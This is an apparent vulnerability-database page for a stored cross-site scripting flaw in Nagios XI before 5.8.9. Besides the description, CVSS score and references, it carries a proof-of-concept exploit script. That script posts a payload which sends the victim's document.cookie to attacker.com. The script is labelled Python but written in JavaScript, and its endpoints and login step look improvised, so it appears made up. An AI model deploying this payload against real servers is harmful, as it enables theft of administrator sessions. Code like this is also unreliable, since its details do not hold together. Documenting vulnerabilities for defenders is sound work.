CVE-2022-50588

Description

Nagios XI versions prior to 5.8.9 are vulnerable to cross-site scripting (XSS) in the update checking feature. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

Nagios XI < 5.8.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2022-50588 Nagios XI Stored XSS PoC
// Target: Nagios XI < 5.8.9 update checking feature
// This PoC demonstrates XSS injection in update checking functionality

const axios = require('axios');
const cheerio = require('cheerio');

async function exploitNagiosXI(targetUrl, sessionCookie) {
    const xssPayload = '<script>document.location="http://attacker.com/steal?c="+document.cookie</script>';
    
    try {
        // Step 1: Login to Nagios XI
        const loginData = {
            'username': 'attacker_username',
            'password': 'attacker_password'
        };
        
        const loginResponse = await axios.post(
            `${targetUrl}/nagiosxi/login.php`,
            loginData,
            { headers: { 'Cookie': sessionCookie } }
        );
        
        // Step 2: Navigate to update checking page
        const updatePage = await axios.get(
            `${targetUrl}/nagiosxi/admin/?updatecheck=1`,
            { headers: { 'Cookie': sessionCookie } }
        );
        
        // Step 3: Inject XSS payload in update checking field
        const exploitResponse = await axios.post(
            `${targetUrl}/nagiosxi/admin/updatecheck.php`,
            {
                'check_type': 'manual',
                'version_input': xssPayload,
                'submit': 'Check for Updates'
            },
            { headers: { 'Cookie': sessionCookie } }
        );
        
        console.log('[+] XSS payload injected successfully');
        console.log('[+] Payload will execute when admin visits update page');
        
    } catch (error) {
        console.error('[-] Exploitation failed:', error.message);
    }
}

// Usage
// exploitNagiosXI('http://target-nagiosxi.com', 'nagiosxi=c2ltcGxlY29va2ll');

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50588
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50588
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50588/
[4] VulDB https://vuldb.com/cve/CVE-2022-50588
[5] https://www.nagios.com/changelog/nagios-xi/
[6] https://www.vulncheck.com/advisories/nagios-xi-stored-xss-in-update-checking

Raw JSON Data

JSON

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